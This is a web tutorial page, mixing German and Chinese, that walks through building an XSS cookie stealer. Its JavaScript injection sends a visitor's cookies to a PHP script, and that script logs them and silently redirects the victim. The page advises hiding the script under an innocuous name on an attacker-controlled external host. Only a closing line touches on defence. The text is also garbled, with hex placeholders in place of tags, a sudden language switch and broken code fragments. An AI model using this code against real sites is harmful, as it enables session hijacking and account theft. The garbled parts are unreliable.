Heim >Web-Frontend >js-Tutorial >Detaillierte Erklärung, wie man einen XSS-Cookie-Stealer in JS schreibt, um Passwörter zu stehlen

Detaillierte Erklärung, wie man einen XSS-Cookie-Stealer in JS schreibt, um Passwörter zu stehlen

小云云
小云云Original
2017-12-18 14:36:292200Durchsuche

In diesem Artikel werden hauptsächlich die detaillierten Schritte zum Schreiben eines XSS-Cookie-Stealers in JS zum Stehlen von Passwörtern vorgestellt. Ich hoffe, dass er allen helfen kann. JavaScript ist die am häufigsten verwendete Skriptentwicklungssprache im Web. JS kann Site-Komponenten automatisch ausführen, Site-Inhalte verwalten und andere nützliche Funktionen in der Webbranche implementieren. JS kann viele Funktionen haben, die für böswillige Zwecke genutzt werden können, einschließlich des Diebstahls von Benutzercookies, die Passwörter und andere Inhalte enthalten.

Cookies sind Informationen, die eine Website für eine bestimmte besuchte Seite anfordert und speichert. Cookies enthalten Authentifizierungsinformationen wie Zugriffsmethode, Uhrzeit, Benutzername und Passwort usw. Wenn ein Benutzer eine bestimmte Website besucht, muss ein Cookie verwendet werden. Wenn ein Angreifer das Cookie abfangen kann, kann das Cookie dazu verwendet werden, einige Informationen des Benutzers zu stehlen. Für einen bestimmten Domänennamen kann JS verwendet werden, um das Cookie des Benutzers zu speichern oder zu ändern. Mit anderen Worten: Wenn ein Angreifer JS zum Anzeigen und Ändern von Cookies verwenden kann, kann dies zu einer wertvollen Hacking-Technik werden.

JS-basierte Angriffe können effektiv mit Techniken wie Code-Injection kombiniert werden, was dazu führen kann, dass Schadcode auf vertrauenswürdigen Websites ausgeführt wird.

Beginnen Sie unten mit der Erstellung des XSS-Cookie-Stealers

Schritt 1: HTML-Testseite erstellen

Erstellen Sie zunächst eine Standard-HTML-Seite


mkdir cookiestealer
cd cookiestealer
touch index.html

. Bearbeiten Sie dann index.html


nano index.html
<html>
<body>
</body>
</html>

Testseite

Schritt 2: Cookie erstellen

Erstellen Sie ein Cookie, in das eingefügt werden kann Grundparameter - Zeichenfolge. Dieses Cookie kann nur auf dieser Seite verwendet werden. Ebenso gelten nachfolgende Injektionen auch für alle auf dieser Seite gespeicherten Cookies.


 <script type="text/javascript">document.cookie = "username=Null Byte";</script>

Das Skript sollte wie folgt in den 6c04bd5ca3fcae76e30b72ad730ca86d-Abschnitt eingefügt werden:

Bei Ausführung Wenn die Seite des Skripts geöffnet wird, wird das Cookie gesetzt, aber im Browser wird nichts angezeigt. Wir können das Cookie direkt mit der Funktion document.write anzeigen.


document.write(document.cookie);

Das Skript mit der gleichen Funktion lautet wie folgt:


 <script type="text/javascript">
 document.cookie = "username=Null Byte";
 document.write(document.cookie);
 </script>

Öffnen Sie die Seite im Browser und die folgenden Cookie-Informationen werden angezeigt:

Das bedeutet, dass wir das Cookie „username=Null Byte“ erfolgreich gesetzt haben diese Seite.

Schritt 3: Verwenden Sie das JS-Skript, um Cookies zu stehlen

Die JS-Zeichenfolge, die wir zum Übergeben von Cookies an den Server verwenden, verwendet den Parameter document.cookie, wir verwenden jedoch das Dokument The In .location definierte URL.


document.location=&#39;http://127.0.0.1/cookiestealer.php?c=&#39;+document.cookie;

In diesem Beispiel befindet sich die PHP-Datei auf localhost (127.0.0.1).

Wenn das Ziel eine Social-Media-Website ist, muss das Skript in die Website eingefügt und die gestohlenen Cookies an eine vom Hacker kontrollierte IP oder URL gesendet werden.

Fügen Sie den js-Code in das 3f1c4e4b6b16bbbd69b2ee476dc4f83a-Tag ein:


Der HTML-Seitencode sollte wie folgt lauten:

Der Rest der Cookie-Verarbeitung muss von PHP übernommen werden.

Schritt 4: Verwenden Sie PHP, um Cookies zu verarbeiten

Im obigen Beispiel ist die PHP-Datei, die Cookies stiehlt, cookiestealer.php und befindet sich unter der URL 127.0.0.1.

Im tatsächlichen Betrieb können Sie keinen offensichtlichen Namen wie „cookiestealer.php“ verwenden und dieser sollte sich unter einer externen IP oder URL befinden.

Erstellen Sie zunächst eine PHP-Datei im selben Verzeichnis wie index.html.

nano cookiestealer.php

Das erste Element muss definiert werden, um den Seitensprung umzuleiten.


<?php
header (&#39;Location:https://google.com&#39;);
?>

Um zu verhindern, dass der Benutzer von einem möglichen Angriff erfährt, ist es am besten, den Benutzer auf andere Seiten unter derselben Domain umzuleiten, damit der Benutzer ist sich dessen nicht bewusst.

Nachdem die Weiterleitung abgeschlossen ist, ist zusätzlicher Code erforderlich, um die Cookies zu verarbeiten.

1. Cookie einer Variablen zuweisen


$cookies = $_GET"c";

2 Die Datei, die das Cookie speichert, und der Ort, an dem diese Datei gespeichert wird, sollten unserer Kontrolle unterliegen.

In diesem Beispiel lautet der Dateiname log.txt.


 $file = fopen(&#39;log.txt&#39;, &#39;a&#39;);

3. Schreiben Sie den Inhalt der beiden oben genannten Parameter in die Protokolldatei, dh schreiben Sie das Cookie in log.txt.


fwrite($file, $cookies . "nn");

Der Code lautet wie folgt:

然后,需要准备PHP文件的测试环境。

Step 5: 测试Cookie Stealer

在index.html 和 cookiestealer.php相同目录下,搭建一个测试用的PHP环境。

php -S 127.0.0.1:80

页面测试成功。

打开页面之后,浏览器会马上重定向到预定义的网站,即Google。

查看PHP服务器的日志,我们注意到传递给php文件一个参数,而且php代码执行了。

最后,我们可以检查我们网站目录下的log.txt文件来查看cookies。

cat log.txt

Log文件中含有cookie的内容,说明我们成功的使用js代码窃取了cookies。

Step 6: 攻击

Cookies含有重要的用户信息,一般是明文的,有时甚至含有私钥信息。所以非常重要,使用js代码注入可以窃取用户的cookies信息。

该攻击可以注入到任何的HTML文件的3f1c4e4b6b16bbbd69b2ee476dc4f83a标签中。常用的检测XSS的方法是使用alert。


<script>alert("Alert");</script>

该脚本会尝试打开类似下面的alert信息。如果打开了,说明网站易受到xss攻击。

在现实的攻击中,黑客会特别注意PHP文件的位置。如果处理得不好,php文件会容易暴露黑客的位置。如果这种攻击出现了,那么根据cookie被发送和保存的位置,可以追踪黑客。

上面的方法说明了JS作为攻击工具的强大性。JS可以让web更方便 ,如果某个网站易受到恶意JS注入,这会给用户和网站带来巨大的安全威胁。预防XSS攻击的重担落在了web开发者的身上。如果用户认为运行在网站上的脚本是不可信的,也可以使用NoScript来阻止js代码的运行。

相关推荐:

php利用httponly防xss攻击

推荐10款防XSS特效(收藏)

关于wxss的10篇文章推荐

Das obige ist der detaillierte Inhalt vonDetaillierte Erklärung, wie man einen XSS-Cookie-Stealer in JS schreibt, um Passwörter zu stehlen. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn